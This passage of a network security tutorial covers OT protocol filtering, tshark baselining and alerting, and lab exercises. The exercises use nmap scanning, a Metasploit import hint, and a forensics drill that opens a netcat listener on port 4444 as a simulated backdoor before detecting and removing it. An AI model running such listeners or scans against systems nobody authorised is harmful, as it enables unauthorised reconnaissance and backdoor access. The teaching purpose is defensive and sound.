    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; modbus.func_code &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; modbus.reference_num        &lt;span class="c"&gt;# Register number being written&lt;/span&gt;

&lt;span class="c"&gt;# DNP3 (port 20000):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: dnp3&lt;/span&gt;
&lt;span class="c"&gt;# Security-relevant function codes:&lt;/span&gt;
&lt;span class="c"&gt;# 3 = Time and Date (write)&lt;/span&gt;
&lt;span class="c"&gt;# 4 = File Transfer&lt;/span&gt;
&lt;span class="c"&gt;# 13 = Object 21 (frozen analog — operational data)&lt;/span&gt;
&lt;span class="c"&gt;# 129 = Response (data from field device)&lt;/span&gt;

&lt;span class="c"&gt;# IEC 60870-5-104 (port 2404):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: iec104&lt;/span&gt;
&lt;span class="c"&gt;# ASDU type analysis for operational data vs control commands&lt;/span&gt;

&lt;span class="c"&gt;# OPC-UA (port 4840):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: opcua&lt;/span&gt;
&lt;span class="c"&gt;# Look for: unusual sessions, high data transfer, unexpected service calls&lt;/span&gt;

&lt;span class="c"&gt;# EtherNet/IP / CIP (port 44818):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: enip or cip&lt;/span&gt;
&lt;span class="c"&gt;# CIP services of concern:&lt;/span&gt;
&lt;span class="c"&gt;# 0x4C = Get Attribute Single (reconnaissance)&lt;/span&gt;
&lt;span class="c"&gt;# 0x4D = Set Attribute Single (configuration change)&lt;/span&gt;
&lt;span class="c"&gt;# 0x10 = Set Attribute All (bulk configuration change)&lt;/span&gt;

&lt;span class="c"&gt;# PROFINET (uses Ethernet frames directly):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: pn_io or pn_dcp&lt;/span&gt;
&lt;span class="c"&gt;# DCP: Device discovery protocol (maps device layout)&lt;/span&gt;
&lt;span class="c"&gt;# RT: Real-time data frames (process data)&lt;/span&gt;

&lt;span class="c"&gt;# BACnet (UDP 47808):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: bacnet&lt;/span&gt;
&lt;span class="c"&gt;# Service: readProperty (reconnaissance)&lt;/span&gt;
&lt;span class="c"&gt;# Service: writeProperty (control)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.3 OT-Specific Security Monitoring
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Baseline normal OT traffic, then alert on deviations:&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Capture baseline during known-good operation&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/ot_baseline_&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%H%M%S&lt;span class="si"&gt;)&lt;/span&gt;.pcap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-G&lt;/span&gt; 3600 &lt;span class="nt"&gt;-W&lt;/span&gt; 24 &lt;span class="se"&gt;\ &lt;/span&gt;               &lt;span class="c"&gt;# 1 hour rotation, keep 24 files (1 day)&lt;/span&gt;
    &lt;span class="s1"&gt;'port 502 or port 20000 or port 2404 or port 44818 or port 47808'&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Build source-destination matrix from baseline&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/ot_baseline.pcap &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; conv,tcp | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +5 | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1, "&amp;lt;-&amp;gt;", $3}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/expected_connections.txt

&lt;span class="c"&gt;# Step 3: Compare current traffic against baseline&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/current.pcap &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; conv,tcp | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +5 | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1, "&amp;lt;-&amp;gt;", $3}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/current_connections.txt

&lt;span class="c"&gt;# Connections not in baseline = potential anomaly:&lt;/span&gt;
&lt;span class="nb"&gt;comm&lt;/span&gt; &lt;span class="nt"&gt;-13&lt;/span&gt; /tmp/expected_connections.txt /tmp/current_connections.txt
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Above connections are NEW — not seen in baseline"&lt;/span&gt;

&lt;span class="c"&gt;# Step 4: Alert on write commands to PLCs (should be rare during operation):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"modbus.func_code &amp;gt;= 5"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="nt"&gt;-e&lt;/span&gt; modbus.func_code | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[ALERT] Modbus write command: &lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | logger &lt;span class="nt"&gt;-t&lt;/span&gt; OT_SECURITY
    &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Wireshark Protocol Deep-Dive (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Download sample captures from Wireshark's wiki:&lt;/span&gt;
wget &lt;span class="nt"&gt;-q&lt;/span&gt; https://wiki.wireshark.org/uploads/afae4d9c6a5c0b96db05df03d00c97b0/http.cap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-O&lt;/span&gt; /tmp/http_sample.pcap 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Download from wiki.wireshark.org/SampleCaptures manually"&lt;/span&gt;

&lt;span class="c"&gt;# If no download, generate your own:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/my_capture.pcap &lt;span class="nt"&gt;-c&lt;/span&gt; 500 &amp;amp;
&lt;span class="c"&gt;# Browse some websites, then:&lt;/span&gt;
curl http://neverssl.com/ &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
curl https://example.com &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
nslookup google.com &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
&lt;span class="nb"&gt;kill&lt;/span&gt; %1 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Analysis tasks (in Wireshark):&lt;/span&gt;
&lt;span class="nv"&gt;CAPTURE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/my_capture.pcap"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 1: Protocol Distribution ==="&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; io,phs 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 2: Top 5 Talkers ==="&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; conv,ip 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 3: DNS Queries Made ==="&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"dns.flags.response == 0"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; dns.qry.name 2&amp;gt;/dev/null | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 4: HTTP Requests ==="&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.request"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="nt"&gt;-e&lt;/span&gt; http.host &lt;span class="nt"&gt;-e&lt;/span&gt; http.request.uri 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 5: TCP Connections ==="&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; conv,tcp 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 6: Open Wireshark for visual analysis ==="&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Commands: wireshark &lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Try these filters:"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  tcp.flags.syn == 1 and tcp.flags.ack == 0"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  http.request"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  dns"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  ip.addr == 8.8.8.8"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: Nmap Discovery and Scanning (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Nmap exercises (on your own lab network)&lt;/span&gt;

&lt;span class="nv"&gt;NETWORK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"192.168.1.0/24"&lt;/span&gt;  &lt;span class="c"&gt;# Change to your network&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.1: Host Discovery ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NETWORK&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Nmap scan|Host is"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.2: SYN scan of single host ==="&lt;/span&gt;
&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NETWORK&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"report for"&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $NF}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Scanning &lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;..."&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 1-1000 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.3: Version detection ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,443 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.4: NSE default scripts ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,443 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.5: OS detection ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"OS details"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.6: Save results ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; /tmp/nmap_exercise &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Results saved: /tmp/nmap_exercise.{nmap,xml,gnmap}"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Open XML in Metasploit: db_import /tmp/nmap_exercise.xml"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: Network Forensics Investigation (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Simulate a security incident and investigate&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Create baseline network state&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Baseline Network State ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/baseline_connections.txt
ip addr show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/baseline_interfaces.txt
ip route show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/baseline_routes.txt
ip neigh show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/baseline_arp.txt
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Baseline saved"&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Start a background listener (simulating backdoor):&lt;/span&gt;
nc &lt;span class="nt"&gt;-l&lt;/span&gt; 4444 &amp;amp;
&lt;span class="nv"&gt;NC_PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$!&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Simulated backdoor started on port 4444 (PID: &lt;/span&gt;&lt;span class="nv"&gt;$NC_PID&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: Investigate — find the "backdoor":&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== INVESTIGATION ==="&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"--- Step A: Check for new listening ports ---"&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/baseline_connections.txt | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $4}'&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;LISTEN | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'\n'&lt;/span&gt; &lt;span class="s1"&gt;'|'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"--- Step B: Find the specific listener ---"&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;":4444"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"--- Step C: Identify the process ---"&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;":4444"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s1"&gt;'pid=[0-9]+'&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;pid&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;pid_num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;#pid=&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"PID: &lt;/span&gt;&lt;span class="nv"&gt;$pid_num&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Command: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&lt;span class="nv"&gt;$pid_num&lt;/span&gt;/cmdline 2&amp;gt;/dev/null | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'\0'&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Executable: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /proc/&lt;span class="nv"&gt;$pid_num&lt;/span&gt;/exe 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done

&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"--- Step D: Check ARP for new hosts ---"&lt;/span&gt;
diff /tmp/baseline_arp.txt &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;ip neigh show&lt;span class="o"&gt;)&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"^&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"No new ARP entries"&lt;/span&gt;

&lt;span class="c"&gt;# Step 4: Cleanup&lt;/span&gt;
&lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="nv"&gt;$NC_PID&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Investigation complete. Backdoor cleaned up. ==="&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: Build a Network Monitor Script (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/network_monitor.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;SCRIPT&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
# Network security monitor — baseline and alert on changes

BASELINE_DIR="/tmp/net_baseline"
ALERT_LOG="/tmp/net_alerts.log"
mkdir -p "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;"

create_baseline() {
    echo "Creating baseline..."
    ss -tlnp | awk 'NR&amp;gt;1 {print &lt;/span&gt;&lt;span class="nv"&gt;$4&lt;/span&gt;&lt;span class="sh"&gt;, &lt;/span&gt;&lt;span class="nv"&gt;$6&lt;/span&gt;&lt;span class="sh"&gt;}' | sort &amp;gt; "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;/listeners.txt"
    ip neigh show | awk '{print &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="sh"&gt;, &lt;/span&gt;&lt;span class="nv"&gt;$5&lt;/span&gt;&lt;span class="sh"&gt;}' | sort &amp;gt; "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;/arp.txt"
    ip route show &amp;gt; "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;/routes.txt"
    echo "Baseline created at &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
}

check_changes() {
    local timestamp=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="s1"&gt;'+%Y-%m-%d %H:%M:%S'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;

    # Check for new listeners
    CURRENT_LISTENERS=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 {print $4, $6}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
    NEW_LISTENERS=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;comm&lt;/span&gt; &lt;span class="nt"&gt;-13&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/listeners.txt"&lt;/span&gt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CURRENT_LISTENERS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
